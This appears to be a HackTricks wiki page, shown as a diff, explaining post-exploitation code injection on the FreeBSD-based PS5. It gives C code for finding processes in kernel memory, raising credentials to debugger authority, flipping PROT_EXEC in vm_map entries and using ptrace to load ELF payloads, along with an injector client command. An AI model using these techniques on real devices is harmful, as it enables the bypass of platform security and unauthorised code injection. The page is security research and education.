+# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Overview
+
+This page documents a practical Unix/BSD usermode process/ELF injection technique on PlayStation 5 (PS5), which is based on FreeBSD. The method generalizes to FreeBSD derivatives when you already have kernel read/write (R/W) primitives. High level:
+
+- Patch the current process credentials (ucred) to grant debugger authority, enabling ptrace/mdbg on arbitrary user processes.
+- Find target processes by walking the kernel allproc list.
+- Bypass PROT_EXEC restrictions by flipping vm_map_entry.protection |= PROT_EXEC in the target’s vm_map via kernel data writes.
+- Use ptrace to perform Remote Function Invocation (RFI): suspend a thread, set registers to call arbitrary functions inside the target, resume, collect return values, and restore state.
+- Map and run arbitrary ELF payloads inside the target using an in-process ELF loader, then spawn a dedicated thread that runs your payload and triggers a breakpoint to detach cleanly.
+
+PS5 hypervisor mitigations worth noting (contextualized for this technique):
+- XOM (execute-only .text) prevents reading/writing kernel .text.
+- Clearing CR0.WP or disabling CR4.SMEP causes a hypervisor vmexit (crash). Only data-only kernel writes are viable.
+- Userland mmap is restricted to PROT_READ|PROT_WRITE by default. Granting PROT_EXEC must be done by editing vm_map entries in kernel memory.
+
+This technique is post-exploitation: it assumes kernel R/W primitives from an exploit chain. Public payloads demonstrate this up to firmware 10.01 at time of writing.
+
+## Kernel data-only primitives
+
+### Process discovery via allproc
+
+FreeBSD maintains a doubly-linked list of processes in kernel .data at allproc. With a kernel read primitive, iterate it to locate process names and PIDs:
+
+```c
+struct proc* find_proc_by_name(const char* proc_name){
+  uint64_t next = 0;
+  kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
+  struct proc* proc = malloc(sizeof(struct proc));
+  do{
+    kernel_copyout(next, (void*)proc, sizeof(struct proc));       // read entry
+    if (!strcmp(proc->p_comm, proc_name)) return proc;
+    kernel_copyout(next, &next, sizeof(uint64_t));                // advance next
+  } while (next);
+  free(proc);
+  return NULL;
+}
+
+void list_all_proc_and_pid(){
+  uint64_t next = 0;
+  kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
+  struct proc* proc = malloc(sizeof(struct proc));
+  do{
+    kernel_copyout(next, (void*)proc, sizeof(struct proc));
+    printf("%s - %d\n", proc->p_comm, proc->pid);
+    kernel_copyout(next, &next, sizeof(uint64_t));
+  } while (next);
+  free(proc);
+}
+```
+
+Notes:
+- KERNEL_ADDRESS_ALLPROC is firmware-dependent.
+- p_comm is a fixed-size name; consider pid->proc lookups if needed.
+
+### Elevate credentials for debugging (ucred)
+
+On PS5, struct ucred includes an Authority ID field reachable via proc->p_ucred. Writing the debugger authority ID grants ptrace/mdbg over other processes:
+
+```c
+void set_ucred_to_debugger(){
+  struct proc* proc = get_proc_by_pid(getpid());
+  if (proc){
+    uintptr_t authid = 0; // read current (optional)
+    uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
+    kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
+    kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
+    free(proc);
+  }
+}
+```
+
+- Offset 0x58 is specific to the PS5 firmware family and must be verified per version.
+- After this write, the injector can attach and instrument user processes via ptrace/mdbg.
+
+## Bypassing RW-only user mappings: vm_map PROT_EXEC flip
+
+Userland mmap may be constrained to PROT_READ|PROT_WRITE. FreeBSD tracks a process’s address space in a vm_map of vm_map_entry nodes (BST plus list). Each entry carries protection and max_protection fields:
+
+```c
+struct vm_map_entry {
+  struct vm_map_entry *prev,*next,*left,*right;
+  vm_offset_t start, end, avail_ssize;
+  vm_size_t adj_free, max_free;
+  union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
+  vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
+  int wired_count; vm_pindex_t lastr;
+};
+```
+
+With kernel R/W you can locate the target’s vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes:
+- Walk entries either linearly via next or using the balanced-tree (left/right) for O(log n) search by address range.
+- Pick a known RW region you control (scratch buffer or mapped file) and add PROT_EXEC so you can stage code or loader thunks.
+- PS5 SDK code provides helpers for fast map-entry lookup and toggling protections.
+
+This bypasses userland’s mmap policy by editing kernel-owned metadata directly.
+
+## Remote Function Invocation (RFI) with ptrace
+
+FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Instead, drive the target to call functions on itself under ptrace control:
+
+1. Attach to the target and select a thread; PTRACE_ATTACH or PS5-specific mdbg flows may apply.
+2. Save thread context: registers, PC, SP, flags.
+3. Write argument registers per the ABI (x86_64 SysV or arm64 AAPCS64), set PC to the target function, and optionally place additional args/stack as needed.
+4. Single-step or continue until a controlled stop (e.g., software breakpoint or signal), then read back return values from regs.
+5. Restore original context and continue.
+
+Use cases:
+- Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory.
+- Invoke helper routines to fetch returned entrypoints and payload-args pointers.
+
+Example of driving the ELF loader:
+
+```c
+intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
+intptr_t args  = elfldr_payload_args(target_pid);
+printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
+```
+
+The loader maps segments, resolves imports, applies relocations and returns the entry (often a CRT bootstrap) plus an opaque payload_args pointer that your stager passes to the payload’s main().
+
+## Threaded stager and clean detach
+
+A minimal stager inside the target creates a new pthread that runs the ELF’s main and then triggers int3 to signal the injector to detach:
+
+```c
+int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
+  pthread_t thread;
+  functions->pthread_create_ptr(&thread, 0,
+      (void*(*)(void*))functions->elf_main, functions->payload_args);
+  asm("int3");
+  return 0;
+}
+```
+
+- The SCEFunctions/payload_args pointers are provided by the loader/SDK glue.
+- After the breakpoint and detach, the payload continues in its own thread.
+
+## End-to-end pipeline (PS5 reference implementation)
+
+A working implementation ships as a small TCP injector server plus a client script:
+
+- NineS server listens on TCP 9033 and receives a header containing the target process name followed by the ELF image:
+
+```c
+typedef struct __injector_data_t{
+  char       proc_name[MAX_PROC_NAME];
+  Elf64_Ehdr elf_header;
+} injector_data_t;
+```
+
+- Python client usage:
+
+```bash
+python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
+```
+
+Hello-world payload example (logs to klog):
+
+```c
+#include <stdio.h>
+#include <unistd.h>
+#include <ps5/klog.h>
+int main(){
+  klog_printf("Hello from PID %d\n", getpid());
+  return 0;
+}
+```
+
+## Practical considerations
+
+- Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) are firmware-specific and must be updated per release.
+- Hypervisor protections force data-only kernel writes; do not attempt to patch CR0.WP or CR4.SMEP.
+- JIT memory is an alternative: some processes expose PS5 JIT APIs to allocate executable pages. The vm_map protection flip removes the need to rely on JIT/mirroring tricks.
+- Keep register save/restore robust; on failure, you can deadlock or crash the target.
